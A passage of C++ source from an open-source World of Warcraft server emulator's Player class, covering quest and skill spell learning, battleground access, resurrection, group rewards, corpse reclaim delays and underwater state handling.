// now we have 2 specialization, learn possible only if found is lesser specialization rank
if(!sSpellMgr.IsHighRankOfSpell(learned_0,itr->first))
return;
}
}
}
CastSpell( this, spell_id, true);
}
void Player::learnQuestRewardedSpells()
{
// learn spells received from quest completing
for(QuestStatusMap::const_iterator itr = mQuestStatus.begin(); itr != mQuestStatus.end(); ++itr)
{
// skip no rewarded quests
if(!itr->second.m_rewarded)
continue;
Quest const* quest = sObjectMgr.GetQuestTemplate(itr->first);
if ( !quest )
continue;
learnQuestRewardedSpells(quest);
}
}
void Player::learnSkillRewardedSpells(uint32 skill_id, uint32 skill_value )
{
uint32 raceMask = getRaceMask();
uint32 classMask = getClassMask();
for (uint32 j = 0; j<sSkillLineAbilityStore.GetNumRows(); ++j)
{
SkillLineAbilityEntry const *pAbility = sSkillLineAbilityStore.LookupEntry(j);
if (!pAbility || pAbility->skillId!=skill_id || pAbility->learnOnGetSkill != ABILITY_LEARNED_ON_GET_PROFESSION_SKILL)
continue;
// Check race if set
if (pAbility->racemask && !(pAbility->racemask & raceMask))
continue;
// Check class if set
if (pAbility->classmask && !(pAbility->classmask & classMask))
continue;
if (sSpellStore.LookupEntry(pAbility->spellId))
{
// need unlearn spell
if (skill_value < pAbility->req_skill_value)
removeSpell(pAbility->spellId);
// need learn
else if (!IsInWorld())
addSpell(pAbility->spellId, true, true, true, false);
else
learnSpell(pAbility->spellId, true);
}
}
}
void Player::SendAurasForTarget(Unit *target)
{
WorldPacket data(SMSG_AURA_UPDATE_ALL);
data << target->GetPackGUID();
MAPLOCK_READ(target,MAP_LOCK_TYPE_AURAS);
Unit::VisibleAuraMap const& visibleAuras = target->GetVisibleAuras();
for (Unit::VisibleAuraMap::const_iterator itr = visibleAuras.begin(); itr != visibleAuras.end(); ++itr)
{
SpellAuraHolderConstBounds bounds = target->GetSpellAuraHolderBounds(itr->second);
for (SpellAuraHolderMap::const_iterator iter = bounds.first; iter != bounds.second; ++iter)
iter->second->BuildUpdatePacket(data);
}
GetSession()->SendPacket(&data);
}
void Player::SetDailyQuestStatus( uint32 quest_id )
{
for(uint32 quest_daily_idx = 0; quest_daily_idx < PLAYER_MAX_DAILY_QUESTS; ++quest_daily_idx)
{
if(!GetUInt32Value(PLAYER_FIELD_DAILY_QUESTS_1+quest_daily_idx))
{
SetUInt32Value(PLAYER_FIELD_DAILY_QUESTS_1+quest_daily_idx,quest_id);
m_DailyQuestChanged = true;
break;
}
}
}
void Player::SetWeeklyQuestStatus( uint32 quest_id )
{
m_weeklyquests.insert(quest_id);
m_WeeklyQuestChanged = true;
}
void Player::SetMonthlyQuestStatus(uint32 quest_id)
{
m_monthlyquests.insert(quest_id);
m_MonthlyQuestChanged = true;
}
void Player::ResetDailyQuestStatus()
{
for(uint32 quest_daily_idx = 0; quest_daily_idx < PLAYER_MAX_DAILY_QUESTS; ++quest_daily_idx)
SetUInt32Value(PLAYER_FIELD_DAILY_QUESTS_1+quest_daily_idx,0);
// DB data deleted in caller
m_DailyQuestChanged = false;
}
void Player::ResetWeeklyQuestStatus()
{
if (m_weeklyquests.empty())
return;
m_weeklyquests.clear();
// DB data deleted in caller
m_WeeklyQuestChanged = false;
}
void Player::ResetMonthlyQuestStatus()
{
if (m_monthlyquests.empty())
return;
m_monthlyquests.clear();
// DB data deleted in caller
m_MonthlyQuestChanged = false;
}
BattleGround* Player::GetBattleGround() const
{
if (GetBattleGroundId()==0)
return NULL;
return sBattleGroundMgr.GetBattleGround(GetBattleGroundId(), m_bgData.bgTypeID);
}
bool Player::InArena() const
{
BattleGround *bg = GetBattleGround();
if(!bg || !bg->isArena())
return false;
return true;
}
bool Player::GetBGAccessByLevel(BattleGroundTypeId bgTypeId) const
{
// get a template bg instead of running one
BattleGround *bg = sBattleGroundMgr.GetBattleGroundTemplate(bgTypeId);
if(!bg)
return false;
// limit check leel to dbc compatible level range
uint32 level = getLevel();
if (level > DEFAULT_MAX_LEVEL)
level = DEFAULT_MAX_LEVEL;
if (level < bg->GetMinLevel() || level > bg->GetMaxLevel())
return false;
return true;
}
float Player::GetReputationPriceDiscount( Creature const* pCreature ) const
{
FactionTemplateEntry const* vendor_faction = pCreature->getFactionTemplateEntry();
if(!vendor_faction || !vendor_faction->faction)
return 1.0f;
ReputationRank rank = GetReputationRank(vendor_faction->faction);
if (rank <= REP_NEUTRAL)
return 1.0f;
return 1.0f - 0.05f* (rank - REP_NEUTRAL);
}
/**
* Check spell availability for training base at SkillLineAbility/SkillRaceClassInfo data.
* Checked allowed race/class and dependent from race/class allowed min level
*
* @param spell_id checked spell id
* @param pReqlevel if arg provided then function work in view mode (level check not applied but detected minlevel returned to var by arg pointer.
if arg not provided then considered train action mode and level checked
* @return true if spell available for show in trainer list (with skip level check) or training.
*/
bool Player::IsSpellFitByClassAndRace(uint32 spell_id, uint32* pReqlevel /*= NULL*/) const
{
uint32 racemask = getRaceMask();
uint32 classmask = getClassMask();
SkillLineAbilityMapBounds bounds = sSpellMgr.GetSkillLineAbilityMapBounds(spell_id);
if (bounds.first==bounds.second)
return true;
for (SkillLineAbilityMap::const_iterator _spell_idx = bounds.first; _spell_idx != bounds.second; ++_spell_idx)
{
SkillLineAbilityEntry const* abilityEntry = _spell_idx->second;
// skip wrong race skills
if (abilityEntry->racemask && (abilityEntry->racemask & racemask) == 0)
continue;
// skip wrong class skills
if (abilityEntry->classmask && (abilityEntry->classmask & classmask) == 0)
continue;
SkillRaceClassInfoMapBounds bounds = sSpellMgr.GetSkillRaceClassInfoMapBounds(abilityEntry->skillId);
for (SkillRaceClassInfoMap::const_iterator itr = bounds.first; itr != bounds.second; ++itr)
{
SkillRaceClassInfoEntry const* skillRCEntry = itr->second;
if ((skillRCEntry->raceMask & racemask) && (skillRCEntry->classMask & classmask))
{
if (skillRCEntry->flags & ABILITY_SKILL_NONTRAINABLE)
return false;
if (pReqlevel) // show trainers list case
{
if (skillRCEntry->reqLevel)
{
*pReqlevel = skillRCEntry->reqLevel;
return true;
}
}
else // check availble case at train
{
if (skillRCEntry->reqLevel && getLevel() < skillRCEntry->reqLevel)
return false;
}
}
}
return true;
}
return false;
}
bool Player::HasQuestForGO(int32 GOId) const
{
for( int i = 0; i < MAX_QUEST_LOG_SIZE; ++i )
{
uint32 questid = GetQuestSlotQuestId(i);
if ( questid == 0 )
continue;
QuestStatusMap::const_iterator qs_itr = mQuestStatus.find(questid);
if (qs_itr == mQuestStatus.end())
continue;
QuestStatusData const& qs = qs_itr->second;
if (qs.m_status == QUEST_STATUS_INCOMPLETE)
{
Quest const* qinfo = sObjectMgr.GetQuestTemplate(questid);
if(!qinfo)
continue;
if (GetGroup() && GetGroup()->isRaidGroup() && !qinfo->IsAllowedInRaid())
continue;
for (int j = 0; j < QUEST_OBJECTIVES_COUNT; ++j)
{
if (qinfo->ReqCreatureOrGOId[j]>=0) //skip non GO case
continue;
if((-1)*GOId == qinfo->ReqCreatureOrGOId[j] && qs.m_creatureOrGOcount[j] < qinfo->ReqCreatureOrGOCount[j])
return true;
}
}
}
return false;
}
void Player::UpdateForQuestWorldObjects()
{
if (m_clientGUIDs.empty() || !GetMap())
return;
UpdateData udata;
WorldPacket packet;
for(ObjectGuidSet::const_iterator itr=m_clientGUIDs.begin(); itr!=m_clientGUIDs.end(); ++itr)
{
if (itr->IsGameObject())
{
if (GameObject *obj = GetMap()->GetGameObject(*itr))
obj->BuildValuesUpdateBlockForPlayer(&udata,this);
}
else if (itr->IsCreatureOrVehicle())
{
Creature *obj = GetMap()->GetAnyTypeCreature(*itr);
if(!obj)
continue;
// check if this unit requires quest specific flags
if(!obj->HasFlag(UNIT_NPC_FLAGS,UNIT_NPC_FLAG_SPELLCLICK))
continue;
SpellClickInfoMapBounds clickPair = sObjectMgr.GetSpellClickInfoMapBounds(obj->GetEntry());
for(SpellClickInfoMap::const_iterator _itr = clickPair.first; _itr != clickPair.second; ++_itr)
{
if (_itr->second.questStart || _itr->second.questEnd)
{
obj->BuildCreateUpdateBlockForPlayer(&udata,this);
break;
}
}
}
}
udata.BuildPacket(&packet);
GetSession()->SendPacket(&packet);
}
void Player::SummonIfPossible(bool agree)
{
if(!agree)
{
m_summon_expire = 0;
return;
}
// expire and auto declined
if (m_summon_expire < time(NULL))
return;
// stop taxi flight at summon
if (IsTaxiFlying())
{
GetMotionMaster()->MoveIdle();
m_taxi.ClearTaxiDestinations();
}
// drop flag at summon
// this code can be reached only when GM is summoning player who carries flag, because player should be immune to summoning spells when he carries flag
if (BattleGround *bg = GetBattleGround())
bg->EventPlayerDroppedFlag(this);
m_summon_expire = 0;
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_ACCEPTED_SUMMONINGS, 1);
TeleportTo(m_summon_mapid, m_summon_x, m_summon_y, m_summon_z,GetOrientation());
}
void Player::RemoveItemDurations( Item *item )
{
for(ItemDurationList::iterator itr = m_itemDuration.begin();itr != m_itemDuration.end(); ++itr)
{
if(*itr==item)
{
m_itemDuration.erase(itr);
break;
}
}
}
void Player::AddItemDurations( Item *item )
{
if (item->GetUInt32Value(ITEM_FIELD_DURATION))
{
m_itemDuration.push_back(item);
item->SendTimeUpdate(this);
}
}
void Player::AutoUnequipOffhandIfNeed()
{
Item *offItem = GetItemByPos( INVENTORY_SLOT_BAG_0, EQUIPMENT_SLOT_OFFHAND );
if(!offItem)
return;
// need unequip offhand for 2h-weapon without TitanGrip (in any from hands)
if ((CanDualWield() || offItem->GetProto()->InventoryType == INVTYPE_SHIELD || offItem->GetProto()->InventoryType == INVTYPE_HOLDABLE) &&
(CanTitanGrip() || (offItem->GetProto()->InventoryType != INVTYPE_2HWEAPON && !IsTwoHandUsed())))
return;
ItemPosCountVec off_dest;
uint8 off_msg = CanStoreItem( NULL_BAG, NULL_SLOT, off_dest, offItem, false );
if ( off_msg == EQUIP_ERR_OK )
{
RemoveItem(INVENTORY_SLOT_BAG_0, EQUIPMENT_SLOT_OFFHAND, true);
StoreItem( off_dest, offItem, true );
}
else
{
MoveItemFromInventory(INVENTORY_SLOT_BAG_0, EQUIPMENT_SLOT_OFFHAND, true);
CharacterDatabase.BeginTransaction();
offItem->DeleteFromInventoryDB(); // deletes item from character's inventory
offItem->SaveToDB(); // recursive and not have transaction guard into self, item not in inventory and can be save standalone
CharacterDatabase.CommitTransaction();
std::string subject = GetSession()->GetMangosString(LANG_NOT_EQUIPPED_ITEM);
MailDraft(subject, "There's were problems with equipping this item.").AddItem(offItem).SendMailTo(this, MailSender(this, MAIL_STATIONERY_GM), MAIL_CHECK_MASK_COPIED);
}
}
bool Player::HasItemFitToSpellReqirements(SpellEntry const* spellInfo, Item const* ignoreItem)
{
if (spellInfo->EquippedItemClass < 0)
return true;
// scan other equipped items for same requirements (mostly 2 daggers/etc)
// for optimize check 2 used cases only
switch(spellInfo->EquippedItemClass)
{
case ITEM_CLASS_WEAPON:
{
for(int i= EQUIPMENT_SLOT_MAINHAND; i < EQUIPMENT_SLOT_TABARD; ++i)
if (Item *item = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
if (item!=ignoreItem && item->IsFitToSpellRequirements(spellInfo))
return true;
break;
}
case ITEM_CLASS_ARMOR:
{
// tabard not have dependent spells
for(int i= EQUIPMENT_SLOT_START; i< EQUIPMENT_SLOT_MAINHAND; ++i)
if (Item *item = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
if (item!=ignoreItem && item->IsFitToSpellRequirements(spellInfo))
return true;
// shields can be equipped to offhand slot
if (Item *item = GetItemByPos( INVENTORY_SLOT_BAG_0, EQUIPMENT_SLOT_OFFHAND))
if (item!=ignoreItem && item->IsFitToSpellRequirements(spellInfo))
return true;
// ranged slot can have some armor subclasses
if (Item *item = GetItemByPos( INVENTORY_SLOT_BAG_0, EQUIPMENT_SLOT_RANGED))
if (item!=ignoreItem && item->IsFitToSpellRequirements(spellInfo))
return true;
break;
}
default:
sLog.outError("HasItemFitToSpellReqirements: Not handled spell requirement for item class %u",spellInfo->EquippedItemClass);
break;
}
return false;
}
bool Player::CanNoReagentCast(SpellEntry const* spellInfo) const
{
// don't take reagents for spells with SPELL_ATTR_EX5_NO_REAGENT_WHILE_PREP
if (spellInfo->AttributesEx5 & SPELL_ATTR_EX5_NO_REAGENT_WHILE_PREP &&
HasFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_PREPARATION))
return true;
// Check no reagent use mask
ClassFamilyMask noReagentMask(GetUInt64Value(PLAYER_NO_REAGENT_COST_1), GetUInt32Value(PLAYER_NO_REAGENT_COST_1+2));
if (spellInfo->IsFitToFamilyMask(noReagentMask))
return true;
return false;
}
void Player::RemoveItemDependentAurasAndCasts( Item * pItem )
{
SpellAuraHolderMap& auras = GetSpellAuraHolderMap();
for(SpellAuraHolderMap::const_iterator itr = auras.begin(); itr != auras.end(); )
{
// skip passive (passive item dependent spells work in another way) and not self applied auras
SpellEntry const* spellInfo = itr->second->GetSpellProto();
if (itr->second->IsPassive() || itr->second->GetCasterGuid() != GetObjectGuid())
{
++itr;
continue;
}
// Remove spells triggered by equipped item auras
if (pItem->HasTriggeredByAuraSpell(spellInfo))
{
RemoveAurasDueToSpell(itr->second->GetId());
itr = auras.begin();
continue;
}
// skip if not item dependent or have alternative item
if (HasItemFitToSpellReqirements(spellInfo,pItem))
{
++itr;
continue;
}
// no alt item, remove aura, restart check
RemoveAurasDueToSpell(itr->second->GetId());
itr = auras.begin();
}
// currently casted spells can be dependent from item
for (uint32 i = 0; i < CURRENT_MAX_SPELL; ++i)
if (Spell* spell = GetCurrentSpell(CurrentSpellTypes(i)))
if (spell->getState()!=SPELL_STATE_DELAYED && !HasItemFitToSpellReqirements(spell->m_spellInfo,pItem) )
InterruptSpell(CurrentSpellTypes(i));
}
uint32 Player::GetResurrectionSpellId()
{
// search priceless resurrection possibilities
uint32 prio = 0;
uint32 spell_id = 0;
AuraList const& dummyAuras = GetAurasByType(SPELL_AURA_DUMMY);
for(AuraList::const_iterator itr = dummyAuras.begin(); itr != dummyAuras.end(); ++itr)
{
// Soulstone Resurrection // prio: 3 (max, non death persistent)
if ( prio < 2 && (*itr)->GetSpellProto()->SpellVisual[0] == 99 && (*itr)->GetSpellProto()->SpellIconID == 92 )
{
switch((*itr)->GetId())
{
case 20707: spell_id = 3026; break; // rank 1
case 20762: spell_id = 20758; break; // rank 2
case 20763: spell_id = 20759; break; // rank 3
case 20764: spell_id = 20760; break; // rank 4
case 20765: spell_id = 20761; break; // rank 5
case 27239: spell_id = 27240; break; // rank 6
case 47883: spell_id = 47882; break; // rank 7
default:
sLog.outError("Unhandled spell %u: S.Resurrection",(*itr)->GetId());
continue;
}
prio = 3;
}
// Twisting Nether // prio: 2 (max)
else if((*itr)->GetId()==23701 && roll_chance_i(10))
{
prio = 2;
spell_id = 23700;
}
}
// Reincarnation (passive spell) // prio: 1
// Glyph of Renewed Life remove reagent requiremnnt
if (prio < 1 && HasSpell(20608) && !HasSpellCooldown(21169) && (HasItemCount(17030,1) || HasAura(58059, EFFECT_INDEX_0)))
spell_id = 21169;
return spell_id;
}
// Used in triggers for check "Only to targets that grant experience or honor" req
bool Player::isHonorOrXPTarget(Unit* pVictim) const
{
if (!pVictim)
return false;
uint32 v_level = pVictim->getLevel();
uint32 k_grey = MaNGOS::XP::GetGrayLevel(getLevel());
// Victim level less gray level
if (v_level<=k_grey)
return false;
if (pVictim->GetTypeId() == TYPEID_UNIT)
{
if (((Creature*)pVictim)->IsTotem() ||
((Creature*)pVictim)->IsPet() ||
((Creature*)pVictim)->GetCreatureInfo()->flags_extra & CREATURE_FLAG_EXTRA_NO_XP_AT_KILL)
return false;
}
return true;
}
void Player::RewardSinglePlayerAtKill(Unit* pVictim)
{
bool PvP = pVictim->isCharmedOwnedByPlayerOrPlayer();
uint32 xp = PvP ? 0 : MaNGOS::XP::Gain(this, pVictim);
// honor can be in PvP and !PvP (racial leader) cases
RewardHonor(pVictim,1);
// xp and reputation only in !PvP case
if(!PvP)
{
RewardReputation(pVictim,1);
GiveXP(xp, pVictim);
if (Pet* pet = GetPet())
pet->GivePetXP(xp);
// normal creature (not pet/etc) can be only in !PvP case
if (pVictim->GetTypeId()==TYPEID_UNIT)
if (CreatureInfo const* normalInfo = ObjectMgr::GetCreatureTemplate(pVictim->GetEntry()))
KilledMonster(normalInfo, pVictim->GetObjectGuid());
}
}
void Player::RewardPlayerAndGroupAtEvent(uint32 creature_id, WorldObject* pRewardSource)
{
ObjectGuid creature_guid = pRewardSource->GetTypeId()==TYPEID_UNIT ? pRewardSource->GetObjectGuid() : ObjectGuid();
// prepare data for near group iteration
if (Group *pGroup = GetGroup())
{
for (GroupReference *itr = pGroup->GetFirstMember(); itr != NULL; itr = itr->next())
{
Player* pGroupGuy = itr->getSource();
if (!pGroupGuy)
continue;
if (!pGroupGuy->IsAtGroupRewardDistance(pRewardSource))
continue; // member (alive or dead) or his corpse at req. distance
// quest objectives updated only for alive group member or dead but with not released body
if (pGroupGuy->isAlive()|| !pGroupGuy->HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_GHOST))
pGroupGuy->KilledMonsterCredit(creature_id, creature_guid);
}
}
else // if (!pGroup)
KilledMonsterCredit(creature_id, creature_guid);
}
void Player::RewardPlayerAndGroupAtCast(WorldObject* pRewardSource, uint32 spellid)
{
// prepare data for near group iteration
if (Group *pGroup = GetGroup())
{
for(GroupReference *itr = pGroup->GetFirstMember(); itr != NULL; itr = itr->next())
{
Player* pGroupGuy = itr->getSource();
if(!pGroupGuy)
continue;
if(!pGroupGuy->IsAtGroupRewardDistance(pRewardSource))
continue; // member (alive or dead) or his corpse at req. distance
// quest objectives updated only for alive group member or dead but with not released body
if (pGroupGuy->isAlive()|| !pGroupGuy->HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_GHOST))
pGroupGuy->CastedCreatureOrGO(pRewardSource->GetEntry(), pRewardSource->GetObjectGuid(), spellid, pGroupGuy == this);
}
}
else // if (!pGroup)
CastedCreatureOrGO(pRewardSource->GetEntry(), pRewardSource->GetObjectGuid(), spellid);
}
bool Player::IsAtGroupRewardDistance(WorldObject const* pRewardSource) const
{
if (pRewardSource->IsWithinDistInMap(this,sWorld.getConfig(CONFIG_FLOAT_GROUP_XP_DISTANCE)))
return true;
if (isAlive())
return false;
Corpse* corpse = GetCorpse();
if (!corpse)
return false;
return pRewardSource->IsWithinDistInMap(corpse,sWorld.getConfig(CONFIG_FLOAT_GROUP_XP_DISTANCE));
}
uint32 Player::GetBaseWeaponSkillValue (WeaponAttackType attType) const
{
Item* item = GetWeaponForAttack(attType,true,true);
// unarmed only with base attack
if (attType != BASE_ATTACK && !item)
return 0;
// weapon skill or (unarmed for base attack)
uint32 skill = item ? item->GetSkill() : uint32(SKILL_UNARMED);
return GetBaseSkillValue(skill);
}
void Player::ResurectUsingRequestData()
{
/// Teleport before resurrecting by player, otherwise the player might get attacked from creatures near his corpse
if (m_resurrectGuid.IsPlayer())
TeleportTo(m_resurrectMap, m_resurrectX, m_resurrectY, m_resurrectZ, GetOrientation());
//we cannot resurrect player when we triggered far teleport
//player will be resurrected upon teleportation
if (IsBeingTeleportedFar())
{
ScheduleDelayedOperation(DELAYED_RESURRECT_PLAYER);
return;
}
ResurrectPlayer(0.0f,false);
if (GetMaxHealth() > m_resurrectHealth)
SetHealth( m_resurrectHealth );
else
SetHealth( GetMaxHealth() );
if (GetMaxPower(POWER_MANA) > m_resurrectMana)
SetPower(POWER_MANA, m_resurrectMana );
else
SetPower(POWER_MANA, GetMaxPower(POWER_MANA) );
SetPower(POWER_RAGE, 0 );
SetPower(POWER_ENERGY, GetMaxPower(POWER_ENERGY) );
SpawnCorpseBones();
}
void Player::SetClientControl(Unit* target, uint8 allowMove)
{
WorldPacket data(SMSG_CLIENT_CONTROL_UPDATE, target->GetPackGUID().size()+1);
data << target->GetPackGUID();
data << uint8(allowMove);
if (GetSession())
GetSession()->SendPacket(&data);
}
void Player::UpdateZoneDependentAuras()
{
// Some spells applied at enter into zone (with subzones), aura removed in UpdateAreaDependentAuras that called always at zone->area update
SpellAreaForAreaMapBounds saBounds = sSpellMgr.GetSpellAreaForAreaMapBounds(m_zoneUpdateId);
for(SpellAreaForAreaMap::const_iterator itr = saBounds.first; itr != saBounds.second; ++itr)
if (itr->second->autocast && itr->second->IsFitToRequirements(this, m_zoneUpdateId, 0))
if (!HasAura(itr->second->spellId, EFFECT_INDEX_0))
CastSpell(this,itr->second->spellId,true);
}
void Player::UpdateAreaDependentAuras()
{
// remove auras from spells with area limitations
SpellIdSet toRemoveSpellList;
{
MAPLOCK_READ(this,MAP_LOCK_TYPE_AURAS);
SpellAuraHolderMap const& holdersMap = GetSpellAuraHolderMap();
for(SpellAuraHolderMap::const_iterator iter = holdersMap.begin(); iter != holdersMap.end(); ++iter)
{
// use m_zoneUpdateId for speed: UpdateArea called from UpdateZone or instead UpdateZone in both cases m_zoneUpdateId up-to-date
if (iter->second && (sSpellMgr.GetSpellAllowedInLocationError(iter->second->GetSpellProto(), GetMapId(), m_zoneUpdateId, m_areaUpdateId, this) != SPELL_CAST_OK))
toRemoveSpellList.insert(iter->first);
}
}
if (!toRemoveSpellList.empty())
for (SpellIdSet::iterator i = toRemoveSpellList.begin(); i != toRemoveSpellList.end(); ++i)
RemoveAurasDueToSpell(*i);
// some auras applied at subzone enter
SpellAreaForAreaMapBounds saBounds = sSpellMgr.GetSpellAreaForAreaMapBounds(m_areaUpdateId);
for(SpellAreaForAreaMap::const_iterator itr = saBounds.first; itr != saBounds.second; ++itr)
if (itr->second->autocast && itr->second->IsFitToRequirements(this, m_zoneUpdateId, m_areaUpdateId))
if (!HasAura(itr->second->spellId, EFFECT_INDEX_0))
CastSpell(this,itr->second->spellId,true);
}
struct UpdateZoneDependentPetsHelper
{
explicit UpdateZoneDependentPetsHelper(Player* _owner, uint32 zone, uint32 area) : owner(_owner), zone_id(zone), area_id(area) {}
void operator()(Unit* unit) const
{
if (unit->GetTypeId() == TYPEID_UNIT && ((Creature*)unit)->IsPet() && !((Pet*)unit)->IsPermanentPetFor(owner))
if (uint32 spell_id = unit->GetUInt32Value(UNIT_CREATED_BY_SPELL))
if (SpellEntry const* spellEntry = sSpellStore.LookupEntry(spell_id))
if (sSpellMgr.GetSpellAllowedInLocationError(spellEntry, owner->GetMapId(), zone_id, area_id, owner) != SPELL_CAST_OK)
((Pet*)unit)->Unsummon(PET_SAVE_AS_DELETED, owner);
}
Player* owner;
uint32 zone_id;
uint32 area_id;
};
void Player::UpdateZoneDependentPets()
{
// check pet (permanent pets ignored), minipet, guardians (including protector)
CallForAllControlledUnits(UpdateZoneDependentPetsHelper(this, m_zoneUpdateId, m_areaUpdateId), CONTROLLED_PET|CONTROLLED_GUARDIANS|CONTROLLED_MINIPET);
}
uint32 Player::GetCorpseReclaimDelay(bool pvp) const
{
if ((pvp && !sWorld.getConfig(CONFIG_BOOL_DEATH_CORPSE_RECLAIM_DELAY_PVP)) ||
(!pvp && !sWorld.getConfig(CONFIG_BOOL_DEATH_CORPSE_RECLAIM_DELAY_PVE) ))
{
return copseReclaimDelay[0];
}
time_t now = time(NULL);
// 0..2 full period
uint32 count = (now < m_deathExpireTime) ? uint32((m_deathExpireTime - now)/DEATH_EXPIRE_STEP) : 0;
return copseReclaimDelay[count];
}
void Player::UpdateCorpseReclaimDelay()
{
bool pvp = m_ExtraFlags & PLAYER_EXTRA_PVP_DEATH;
if ((pvp && !sWorld.getConfig(CONFIG_BOOL_DEATH_CORPSE_RECLAIM_DELAY_PVP)) ||
(!pvp && !sWorld.getConfig(CONFIG_BOOL_DEATH_CORPSE_RECLAIM_DELAY_PVE) ))
return;
time_t now = time(NULL);
if (now < m_deathExpireTime)
{
// full and partly periods 1..3
uint32 count = uint32((m_deathExpireTime - now)/DEATH_EXPIRE_STEP +1);
if (count < MAX_DEATH_COUNT)
m_deathExpireTime = now+(count+1)*DEATH_EXPIRE_STEP;
else
m_deathExpireTime = now+MAX_DEATH_COUNT*DEATH_EXPIRE_STEP;
}
else
m_deathExpireTime = now+DEATH_EXPIRE_STEP;
}
void Player::SendCorpseReclaimDelay(bool load)
{
Corpse* corpse = GetCorpse();
if (!corpse)
return;
uint32 delay;
if (load)
{
if (corpse->GetGhostTime() > m_deathExpireTime)
return;
bool pvp = corpse->GetType()==CORPSE_RESURRECTABLE_PVP;
uint32 count;
if ((pvp && sWorld.getConfig(CONFIG_BOOL_DEATH_CORPSE_RECLAIM_DELAY_PVP)) ||
(!pvp && sWorld.getConfig(CONFIG_BOOL_DEATH_CORPSE_RECLAIM_DELAY_PVE)))
{
count = uint32(m_deathExpireTime-corpse->GetGhostTime())/DEATH_EXPIRE_STEP;
if (count>=MAX_DEATH_COUNT)
count = MAX_DEATH_COUNT-1;
}
else
count=0;
time_t expected_time = corpse->GetGhostTime()+copseReclaimDelay[count];
time_t now = time(NULL);
if (now >= expected_time)
return;
delay = uint32(expected_time-now);
}
else
delay = GetCorpseReclaimDelay(corpse->GetType()==CORPSE_RESURRECTABLE_PVP);
//! corpse reclaim delay 30 * 1000ms or longer at often deaths
WorldPacket data(SMSG_CORPSE_RECLAIM_DELAY, 4);
data << uint32(delay*IN_MILLISECONDS);
GetSession()->SendPacket( &data );
}
Player* Player::GetNextRandomRaidMember(float radius)
{
Group *pGroup = GetGroup();
if(!pGroup)
return NULL;
std::vector<Player*> nearMembers;
nearMembers.reserve(pGroup->GetMembersCount());
for(GroupReference *itr = pGroup->GetFirstMember(); itr != NULL; itr = itr->next())
{
Player* Target = itr->getSource();
// IsHostileTo check duel and controlled by enemy
if ( Target && Target != this && IsWithinDistInMap(Target, radius) &&
!Target->HasInvisibilityAura() && !IsHostileTo(Target) )
nearMembers.push_back(Target);
}
if (nearMembers.empty())
return NULL;
uint32 randTarget = urand(0,nearMembers.size()-1);
return nearMembers[randTarget];
}
PartyResult Player::CanUninviteFromGroup() const
{
const Group* grp = GetGroup();
if (!grp)
return ERR_NOT_IN_GROUP;
if (!grp->IsLeader(GetObjectGuid()) && !grp->IsAssistant(GetObjectGuid()))
return ERR_NOT_LEADER;
if (InBattleGround())
return ERR_INVITE_RESTRICTED;
return ERR_PARTY_RESULT_OK;
}
void Player::SetBattleGroundRaid(Group* group, int8 subgroup)
{
//we must move references from m_group to m_originalGroup
SetOriginalGroup(GetGroup(), GetSubGroup());
m_group.unlink();
m_group.link(group, this);
m_group.setSubGroup((uint8)subgroup);
}
void Player::RemoveFromBattleGroundRaid()
{
//remove existing reference
m_group.unlink();
if ( Group* group = GetOriginalGroup() )
{
m_group.link(group, this);
m_group.setSubGroup(GetOriginalSubGroup());
}
SetOriginalGroup(NULL);
}
void Player::SetOriginalGroup(Group *group, int8 subgroup)
{
if ( group == NULL )
m_originalGroup.unlink();
else
{
// never use SetOriginalGroup without a subgroup unless you specify NULL for group
MANGOS_ASSERT(subgroup >= 0);
m_originalGroup.link(group, this);
m_originalGroup.setSubGroup((uint8)subgroup);
}
}
void Player::UpdateUnderwaterState( Map* m, float x, float y, float z )
{
GridMapLiquidData liquid_status;
GridMapLiquidStatus res = m->GetTerrain()->getLiquidStatus(x, y, z, MAP_ALL_LIQUIDS, &liquid_status);
if (!res)
{
m_MirrorTimerFlags &= ~(UNDERWATER_INWATER|UNDERWATER_INLAVA|UNDERWATER_INSLIME|UNDERWATER_INDARKWATER);
// Small hack for enable breath in WMO
/* if (IsInWater())
m_MirrorTimerFlags|=UNDERWATER_INWATER; */
return;
}
// All liquids type - check under water position
if (liquid_status.type&(MAP_LIQUID_TYPE_WATER|MAP_LIQUID_TYPE_OCEAN|MAP_LIQUID_TYPE_MAGMA|MAP_LIQUID_TYPE_SLIME))
{
if ( res & LIQUID_MAP_UNDER_WATER)
m_MirrorTimerFlags |= UNDERWATER_INWATER;
else
m_MirrorTimerFlags &= ~UNDERWATER_INWATER;
}
// Allow travel in dark water on taxi or transport
if ((liquid_status.type & MAP_LIQUID_TYPE_DARK_WATER) && !IsTaxiFlying() && !GetTransport())
m_MirrorTimerFlags |= UNDERWATER_INDARKWATER;
else
m_MirrorTimerFlags &= ~UNDERWATER_INDARKWATER;
// in lava check, anywhere in lava level
if (liquid_status.type&MAP_LIQUID_TYPE_MAGMA)
{
if (res & (LIQUID_MAP_UNDER_WATER|LIQUID_MAP_IN_WATER|LIQUID_MAP_WATER_WALK))
m_MirrorTimerFlags |= UNDERWATER_INLAVA;
else
m_MirrorTimerFlags &= ~UNDERWATER_INLAVA;
}
// in slime check, anywhere in slime level
if (liquid_status.type&MAP_LIQUID_TYPE_SLIME)
{
if (res & (LIQUID_MAP_UNDER_WATER|LIQUID_MAP_IN_WATER|LIQUID_MAP_WATER_WALK))
m_MirrorTimerFlags |= UNDERWATER_INSLIME;
else
m_MirrorTimerFlags &= ~UNDERWATER_INSLIME;
}
}
void Player::SetCanParry( bool value )
{
if (m_canParry==value)
return;
m_canParry = value;
UpdateParryPercentage();
}
void Player::SetCanBlock( bool value )
{
if (m_canBlock==value)
return;
m_canBlock = value;
UpdateBlockPercentage();
}
bool ItemPosCount::isContainedIn(ItemPosCountVec const& vec) const
{
for(ItemPosCountVec::const_iterator itr = vec.begin(); itr != vec.end();++itr)
if (itr->pos == pos)
return true;
return false;
}
bool Player::CanUseBattleGroundObject()
{
// TODO : some spells gives player ForceReaction to one faction (ReputationMgr::ApplyForceReaction)
// maybe gameobject code should handle that ForceReaction usage
// BUG: sometimes when player clicks on flag in AB - client won't send gameobject_use, only gameobject_report_use packet
return ( //InBattleGround() && // in battleground - not need, check in other cases
//!IsMounted() && - not correct, player is dismounted when he clicks on flag
//player cannot use object when he is invulnerable (immune)
!isTotalImmune() && // not totally immune
//i'm not sure if these two are correct, because invisible players should get visible when they click on flag
